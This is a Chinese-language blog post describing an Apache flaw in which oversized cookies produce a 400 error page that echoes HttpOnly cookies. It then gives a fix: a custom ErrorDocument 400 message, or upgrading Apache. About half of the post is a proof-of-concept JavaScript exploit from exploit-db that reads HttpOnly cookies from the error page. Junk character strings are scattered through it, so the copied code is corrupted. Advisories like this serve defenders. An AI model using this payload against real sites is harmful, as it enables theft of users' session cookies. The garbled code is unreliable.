Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:


( f1 v( w) j% o: ?// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
// Construct string for cookie value
var str = "";
/ O1 I8 i% b& B1 d; j2 d( Mfor (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
7 k' n  q% ~( }2 x5 Z$ s6 L9 r) I// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
, S: I& }, @4 l9 }! k) z}
// Set evil cookie
, P9 }/ M, X# L3 N* ]$ Welse {
var cookie = "xss"+i+"="+str+";path=/";
}
4 K  Q; `8 v; c/ ^document.cookie = cookie;
8 X, u* r8 j+ \. K* X: x# j; V}
}
function makeRequest() {
* u' b; R2 C. V- A8 w- B3 _setCookies();
9 X) ?+ {& P4 m2 q4 P1 yfunction parseCookies () {
! ?! X& b9 ~7 {, |0 nvar cookie_dict = {};
  F# j) @+ L  z+ D// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
4 l, {$ A7 X: N1 s. `// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
4 M3 J8 ?, V" z4 _7 ]// Remove Cookie: prefix
- }6 E3 v' \- ~1 Q7 i/ v% y  e# dcontent = content[1].replace("Cookie: ", "");
! o! ]" h' R' h! S& yvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
  f- c# P0 j/ @2 x// Add cookies to object
for (var i=0; i<cookies.length; i++) {
3 q( y1 F; C# J3 C7 ^- ?- O$ _* Lvar s_c = cookies.split('=',2);
, f3 ?+ h+ T2 ~; f* ~cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
5 {6 i+ q9 A! M) U! r  [: q' m3 DsetCookies(true);
% S3 l& y0 f% m6 G- nalert(JSON.stringify(cookie_dict));
}
}
* Q8 w4 J/ o, w// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
4 Y( X- p# I8 v7 |  ^( D* l  |xhr.open("GET", "/", true);
xhr.send(null);
0 X$ M* P! k4 d+ b" m" M}
makeRequest();

你就能看见华丽丽的400错误包含着cookie信息。
7 W% @/ j6 ~5 J  w8 ?9 Z
! ?2 R3 a1 Q: X: N4 @下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：

# P  ~( a' ]' s* y; J6 R" xApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
+ d$ r, W( x6 a- B1 ~3 t7 |
In the event of a problem or error, Apachecan be configured to do one of four things,
$ M( G6 w1 Q& V4 P; d9 {
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
: x3 ?) j9 u' ], P: C2. output acustomized message输出一段信息
, a  G. B& k0 T9 W3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
6 K$ w) s( S. s& ]: h4. redirect to an external URL to handle theproblem/error转向一个外部URL
) b8 ]2 U4 R7 h
经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
1 {" A0 H$ l* T3 l- _; E+ R
! l9 h$ |5 _( }6 f3 b, |Apache配置：
+ R" Z" j2 N2 m0 ^& p9 A- o
) b/ e( z  j! \* FErrorDocument400 " security test"
2 t# I$ g8 a# n  G2 N3 O
4 q' C4 U5 B6 a4 @" l当然，升级apache到最新也可：）。
$ \6 o$ y% g) h" ^( J$ I& ]
) a6 F+ o$ C) x6 U( z参考：http://httpd.apache.org/security/vulnerabilities_22.html

- G. Y/ k" z0 X, A- V